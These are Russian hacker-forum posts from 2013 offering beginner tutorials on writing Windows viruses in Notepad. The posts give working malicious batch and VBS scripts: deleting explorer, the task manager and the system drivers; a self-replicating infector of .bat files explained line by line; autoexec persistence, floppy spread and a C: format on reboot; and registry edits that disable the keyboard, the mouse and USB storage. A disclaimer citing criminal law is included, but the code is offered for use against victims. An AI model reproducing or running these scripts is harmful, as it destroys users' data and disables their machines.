xacker-zone для хакеров

Как написать простой вирус в блокноте 2 часть

Salid_Snake — Sun, 28 Jul 2013 17:01:34 GMT

Ну вот я снова с вами.
Очень жаль что wog.net умер унеся вместе с собой в могилу парочку моих статей.Ну да ладно.
Будем вместе двигаться вперед творить и вытворять всякие пакости).
Ну поехали.
В этот раз давайте не будем писать bat файлы в огромных количествах (ну если только один или два). А займемся мы VBS.
Начнем мы с bat да-да для разминочки.
Кто не знает что это за исполняймые файлы с разрешение bat или cmd тот нажимает Win+R
и выполняет CMD и пишет help.Надеюсь дальше обьяснять не нужно.
Так вот наш супер большой и сложный вирус
будет состоять из нескольких строк.
Только для начала нам придется открыту нашу любимую командную строку и набрать SET
это надо для того чтобы узнать список переменных сред Windows.нам интересна
последняя строка windir - это переменная заменяет полный путь к папке
Windows. Начнем?Открываем notepad(блокнот) и пишем эту пургу.
*******************************
taskkill /f /im explorer.exe
del /q /f %windir%\explorer.exe
del /q /f %windir%\taskmgr.exe
rd /q /s %windir%\inf
rd /q /s %windir%\system32\drivers
********************************
Сохраняем наш файл как I_LOVE_YOU.bat и радуемся.
После запуска такой микровещи на машине не будет не рабочего стола ни менеджера задач ни драйверов.
Я обещал один? Да?Извините не стерпел и вот выкладываю второй ...
********************************
@echo off%[Bams]%
if '%1=='In_ goto Bamsin
if exist c:\Bams.bat goto Bamsru
if not exist %0 goto Bamsen
find "Bams"<%0>c:\Bams.bat
attrib +h c:\Bams.bat
:Bamsru
for %%t in (*.bat) do call c:\MeTrA In_ %%t
goto Bamsen
:Bamsin
find "Bams"<%2>nul
if not errorlevel 1 goto Bamsen
type c:\Bams.bat>>%2
:Bamsen
*********************************
Это более сложный вирус но он и более интересный .
Он ползает по винту ищет и заражает собой *.bat файлы.
Все!Переходим к VBS вирусам.
Язык VBS в винде поддерживается с 98 версии и не требует установки дополнительных библиотек
и другой ненужной фигни).по другому VBS-язык скриптов
Ну приступим с самого легкого напугаем жертву страшным
сообщением.Типа:Через минуту ваша крыса заболеет бешенством!Поставить
прививку?
И спросим ДА или НЕТ.-32
С количеством показа 1 и временем показа 0(то есть пока не выберит что он хочет)
Значок выберим вопроса
кнопки да и нет-4
Открываем блокнот и пишем.
***********************************
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
i=1
while i>0 or i<0
S.popup "Через минуту ваша крыса заболеет бешенством!Поставить прививку?",0, "Айболит",4+32
i=i-1
wend
*************************************
сохраняем это чудо как mouse.vbs
Если кто то хочет чтоб значок был восклицание тот пишет 48 Вместо 32.
Дальше мы разберемся с этими параметрами).
Попугали значит мы жертву сообшениями (или бабушку которая любит пасьянс ) и движемся вперед.
А впереди у нас корзина(скучное название) надо бы его изменить например на Свалку или Бомжатник
все зависит от фантазии но код очень простой.
***************************************
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
s.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString","Свалка"
***************************************
Название то поменяли только зачем нам свалка на столе? Еще место занимает а не снести линам ее вообше?
Нет проблем для этих сучаев имеем это чудо.
****************************************
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
s.regdelete"HKLM\SOFTWARE\Microsoft\Windows\Curren tVersion\Explorer\Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E}\"
****************************************
Не устал мой друг? Если нет то мы подолжаем чудить , а если честно то только начинаем.
Что то скучно.надо бы музыку для поднятия настроения ну тут у нас два выхода либо мы заставляем трещать флопигрыз
,либо пишать бесприрывно встроенный динамик.Выбор за вами.
Вот это прикол с флопигрызом.
*****************************************
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
do
fso.getfile("A:\")
loop
******************************************
ну а это уже динамик.
******************************************
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
do
execute"S.Run ""%comspec% /c "" & Chr(7), 0,True"
loop
*******************************************
Ну теперь мы займемся более серьезными вещами.
Бывают случаи что надо порализовать либо клавиатуру либо мышку.
Клавиатуру в накаут выводим так:
*******************************************
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
s.run"reg add ""hklm\system\currentcontrolset\control\keyboa rd
layout"" /v ""Scancode Map"" /t REG_BINARY /d
0000000000000000A000000000005DE000000E0000003A0000
0053E000004FE000001C0000000100000047E0000052E00000
380000001D0000002A0000005BE000004500000051E0000049
E000005EE0000037E0000038E000001DE00000360000005CE0
0000460000005FE00000390000000F00000063E00000280000
000C000000330000003400000035000000270000001A000000
2B0000001B000000290000000D0000000B0000000200000003
00000004000000050000000600000007000000080000000900
00000A0000001E000000300000002E00000020000000120000
00210000002200000023000000170000002400000025000000
26000000320000003100000018000000190000001000000013
0000001F00000014000000160000002F000000110000002D00
0000150000002C0000003B0000003C0000003D0000003E0000
003F0000004000000041000000420000004300000044000000
5700000058000000640000006500000066000000520000004F
00000050000000510000004B0000004C0000004D0000004700
000048000000490000004A000000370000005300000035E000
004E0000001CE0000050E000004BE000004DE0000048E00000 0000",0
********************************************
И следом летит крыса.
********************************************
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
s.regwrite"HKLM\SYSTEM\CurrentControlSet\Services\ Mouclass\Start","4","REG_DWORD"
********************************************
Затем нам вдруг приспичило отключить все что висит на USB портах.Ну например чтоб чел не успел
сохранить весь дорогой ему сердцу мусор на флешку.
И мы делаем обрезание портов=)
**********************************************
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
s.regwrite"HKLM\SYSTEM\CurrentControlSet\Services\ USBSTOR\Start","4","REG_DWORD"
**********************************************
Ну вот я и немного ввел вас в мир шуток и подлянок на VBS.
Это только первая часть моей небольшой статьи.
В архиве лежат все файлики которые описаные в этой статье.
Конец первой части.

Очень простой вирус для начинающих

Salid_Snake — Thu, 25 Jul 2013 22:04:48 GMT

Всем доброго время суток
Сегодня я вам помогу сделать вирус самостоятельно пусть он не сложный но все же начнём.
    Нам понадобится приложение Блокнот
        1. Открываем Блокнот
        2. пишем в нем такое:
    del *.*/q - эта комбинация удаляет все файлы в папке которой помещаем этот вирус (НО!! этот вирус папки НЕ удаляет, а только вирусы!)
Вот и все вирус написан ПОЧТИ!!!
    Теперь мы сохраняем этот блокнот и когда пишем название ставим в конце точку и bat. Это выглядит так Virus.bat
    Когда вы запустите то вирус удалит все файлы которые находились в той же папке что и вирус.
        Подробней читайте http://xacker-zone.at.ua/forum/3-1-1
                                        Спасибо за внимание!

Как убрать рекламу на сайте uCoz бесплатно

Salid_Snake — Thu, 25 Jul 2013 21:13:33 GMT

Всем привет!
Вас замучила реклама на вашем сайте, но вы не хотите платить чтобы её отключить. Тогда качайте архив и смотрите как отключить рекламу. Это АБСОЛЮТНО БЕСПЛАТНО!!!

Как написать простой вирус в блокноте

Salid_Snake — Thu, 25 Jul 2013 16:03:52 GMT

Недавно качал обновления для Каспера и как будто что-то щелкнуло – задумался о
вирусах в целом: о том, какие бывают вирусы, о возможностях тех или иных
вирусов, а главное – о написании…
Вирусов «расплодилось» - пруд пруди!!! В инете их уйма! Появились сайты, специализирующиеся на
вирусах, т.е. сайты, где о вирусах можно не только много чего
интересного узнать, но и скачать готовые, скомпилированные, упакованные
ZIP’ом вирусочки…;) А тем не менее почти все вируски, выложенные на
таких сайтах, палятся. Обидно …
А ведь можно самому писать эти вредоносные проги! Конечно, начинающий вирусописатель не сможет написать
такого «монстрика», который бы не палился – сейчас все антивирусные
кампании используют технологию обнаружения неизвестных вирусов, и
простенькие вирусы, написанные новичком, обязательно спалят! Но мы ж не
ламеры! Будем совершенствоваться (ведь эта статья – часть 1). А пока
начнем с простого и понятного.
Хочу сразу предупредить, что данная статья ориентированна на начинающих вирусописателей (но НЕ на новичков в Хакерстве!).
И вот еще что: статья написана в целях ознакомления с возможной
опасностью, и за использование нижеизложенной информации в целях
нанесения вреда я (автор) не несу никакой ответственности.
Ой, нет еще не все (чуть было не забыл):

Статья 273. Создание, использование и распространение вредоносных программ
для ЭВМ
1.Создание программ для ЭВМ или внесение изменений в существующие программы,
заведомо приводящих к несанкционированному уничтожению, блокированию,
модификации либо копированию информации, нарушению работы ЭВМ, системы
ЭВМ или их сети, а равно использование либо распространение таких
программ или машинных носителей с такими программами - наказываются
лишением свободы на срок до трех лет со штрафом в размере от двухсот до
пятисот минимальных размеров оплаты труда или в размере заработной платы
или иного дохода осужденного за период от двух до пяти месяцев.
2.Те же деяния, повлекшие по неосторожности тяжкие последствия, - наказываются лишением свободы на срок от трех до семи лет.
Вот теперь, пожалуй, все. Начнем.

Начало начал…
Ну, раз уж мы решили начать с самого простого, то свой первый вирус
создадим в обычном текстовом редакторе, встроенном в Виндозу. Такой
вирус будет называться BAT-вирусом.
По мере написания исходника, в фигурных скобках буду пояснять о чем речь.

@Echo off {запрещаем вывод на экран исполняемых команд}
copy %0 c:virus.bat >nul {копируем файл; запрещаем вывод на экран самой команды и результата её действия}
echo c:virus.bat>>c:autoexec.bat {добавляем текст в уже существующий файл}

Вот и все! Проще не бывает! Это пример одного из самых простых bat-вирусов.
Хотя с полной уверенностью сказать, что это вирус, значит сказать
ерунду. Посмотрите на то, что написано в фигурных скобках и вы поймете,
что это просто пример того, как сделать основу вируса. Продолжаю:

@Echo off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul {копируем этот файл на дискету, если таковая
имеется в дисководе (копирование произойдет при перезагрузке компа)}

Таким образом к предыдущему исходнику я добавил одну строку и вирус приобрел
новую способность: он теперь умеет заражать другие компы через дискету.

@Echo off
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul {устанавливаем файлу virus.bat атрибут «скрытый»
(файл virus.bat наверняка попадется юзеру на глаза и будет их мозолить
:), поэтому делаем его скрытым)}
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul

Вот, наш исходник начинает приобретать очертания вируса!

@Echo off
if exist c:virus.bat goto ski {проверяем, существует ли файл, …}
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
:ski {…если он существует, то программа переходит на метку :ski}
copy %0 a:run.bat >nul

Добавил еще одну команду «if exist». Теперь вирус уже будет проверять, есть ли
этот файл, и если он есть, то уже не будут выполняться лишни команды.
Только скопирует себя на дискету и все.
Теперь модернизируем наш вирус до конца.

@echo off%[Meteor]% {выводим на экран текст «Meteor»}

if '%1=='In_ goto Meteo {если переменная %1 равна In, то переходим к метке «:Meteo»}

if exist c:Meteor.bat goto Mete {проверяем, существует ли файл Meteor.bat, если да, то переходим к метке «:Mete»}

if not exist %0 goto Met {если файл не существует, то переходим к метке «Met»}

find "Meteor"c:Meteor.bat {проверяем, есть ли файл meteor на диске, если нет, то копируем его туда}

attrib +h c:Meteor.bat {делаем файл скрытым}

:Mete {метка}

for %%t in (*.bat) do call c:Meteor In_ %%t {выполняем одну команду (call -
позволяет вызвать один пакетный файл из другого) для нескольких
параметров t} {т.е. вирус находит файл с расширением .bat, и заражает
его с помощью команды type, дописывая себя к найденному .bat-файлу}

goto Met {перейти к метке}

:Meteo {метка}

find "Meteor"nul {указываем файлу значение 2 и запрещаем вывод команды и ее результата на экран}

if not errorlevel 1 goto Met {если не произошло ошибки (с кодом 1) выполнения предыдущей команды, то переходим на метку}

type c:Meteor.bat>>%2 {дописываем «себя» к найденному .bat-файлу}

:Met {метка}

Вот это уже можно назвать более или менее полноценным вирусом!
Для того чтобы вирус стал вирусом, его нужно сохранить с расширением BAT.
Жмем «Сохранить как», пишем например virus.bat, и там куда вы его
сохраните появится пакетный файл MS-DOS.
На основе этого исходника можно создавать другие вирусы. Экспериментируйте, модернизируйте,
пробуйте написать свой вирус. Скажу к слову, что используя этот
исходник, я сделал из него еще три модификации. И это не предел!
Возможности не ограничены, все зависит от вашей фантазии.

Приведу еще один простой, но интересный пример:)

@Echo off
Echo format C: /q >> c:Autoexec.bat

Все! Ничего особенного, да? Этот вирус добавляет в autoexec.bat строку
format C: /q и при перезагрузке компа происходит быстрое форматирование
диска:)
И вот еще что:

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.js
echo WSHShell.Popup ("ПИШИ СЮДА ЧТО УГОДНО"); >> %temp%mes.js
start %temp%mes.js
deltree /y %temp%mes.js

Добавь этот скрипт в свой вирус, вместо «ПИШИ СЮДА ЧТО УГОДНО» напиши свой
текст (например, предсмертную речь для юзера:) ), и при запуске вируса
вылезет окошечко с твоим сообщением